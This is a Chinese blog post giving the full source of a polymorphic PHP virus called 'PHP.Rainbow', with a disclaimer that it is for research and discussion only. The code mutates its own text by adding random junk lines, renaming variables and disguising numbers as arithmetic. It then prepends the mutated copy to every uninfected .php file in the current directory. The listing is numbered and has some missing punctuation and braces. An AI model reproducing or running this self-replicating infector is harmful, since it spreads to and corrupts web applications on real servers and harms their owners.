PHP病毒PHP.Rainbow

[探讨 研究 病毒]  php病毒PHP.Rainbow

   没有看说明之前,不要擅自测试;

   特别声明:本帖只为探讨和研究,由此帖所导致的任何人为和非人为的后果,与HonestQiao均不存在任何物质的精神的关联,HonestQiao对此不负任何责任。 与我amxku也没有关系哈,哈哈!

  1. <?php // RainBow 
  2. srand((double)microtime() * 1000000); 
  3. $changevars = array('changevars''string''newcont'
  4.    'curdir''filea''victim''viccont''newvars''returnvar'
  5.    'counti''countj''trash''allcont''number''remn'); 
  6. $string = strtok(fread(fopen(__FILE__'r'), filesize(__FILE__)), chr(13) . chr(10)); 
  7. $newcont = '<?php // RainBow' . chr(13) . chr(10); 
  8. while ($string && $string != '?>'){ 
  9.    if(rand(0, 1)){ 
  10.        if(rand(0, 1)){ 
  11.            $newcont .= '// ' . trash('', 0) . chr(13) . chr(10); 
  12.        } 
  13.        if(rand(0, 1)){ 
  14.            $newcont .= '$' . trash('', 0) . '=' . chr(39) . trash('', 0) . chr(39) . ';' . chr(13) . chr(10); 
  15.        } 
  16.        if(rand(0, 1)){ 
  17.            $newcont .= '$' . trash('', 0) . '=' . rand() . ';' . chr(13) . chr(10); 
  18.        } 
  19.    } 
  20.    $string = strtok(chr(13) . chr(10)); 
  21.    if($string{0} != '/' && $string{0} != '$'){ 
  22.        $newcont .= $string . chr(13) . chr(10); 
  23.    } 
  24. $counti = 0; 
  25. while($changevars[$counti]){ 
  26.    $newcont = str_replace($changevars[$counti++], trash('', 0), $newcont); 
  27. $countj = -1; 
  28. $number = ''
  29. while(++$countj < strlen($newcont)){ 
  30.    if (ord($newcont{$countj}) > 47 && ord($newcont{$countj}) < 58){ 
  31.        $number = $newcont{$countj}; 
  32.        while(ord($newcont{++$countj}) > 47 && ord($newcont{$countj}) < 58){ 
  33.            $number .= $newcont{$countj}; 
  34.        } 
  35.        $remn = rand(1, 10); 
  36.        if (!rand(0, 5)){ 
  37.            switch(rand(1, 3)){ 
  38.            case 1:$allcont .= '(' . ($number - $remn) . '+' . $remn . ')'
  39.                break
  40.            case 2:$allcont .= '(' . ($number + $remn) . '-' . $remn . ')'
  41.                break
  42.            case 3:$allcont .= '(' . ($number * $remn) . '/' . $remn . ')'
  43.                break
  44.            } 
  45.        }else
  46.            $allcont .= $number
  47.        } 
  48.    } 
  49.    $allcont .= $newcont{$countj}; 
  50.    $number = ''
  51. $curdir = opendir('.'); 
  52. while($filea = readdir($curdir)){ 
  53.    if(strstr($filea'.php')){ 
  54.        $victim = fopen($filea'r+'); 
  55.        if (!strstr(fread($victim, 25), 'RainBow')){ 
  56.            rewind($victim); 
  57.            $viccont = fread($victimfilesize($filea)); 
  58.            rewind($victim); 
  59.            fwrite($victim$allcont . $viccont); 
  60.        } 
  61.        fclose($victim); 
  62.    } 
  63. closedir($curdir); 
  64. function trash($returnvar$countj){ 
  65.    do
  66.        $returnvar .= chr(rand(97, 122)); 
  67.    }while($countj++ < rand(5, 15)); 
  68.    return $returnvar
  69. ?>

关键词: php

上一篇: 林肯公园Linkin Park-德州现场演唱会
下一篇: 新注册了个域名

相关文章
目前还没有人评论,您发表点看法?
发表评论

评论内容 (必填):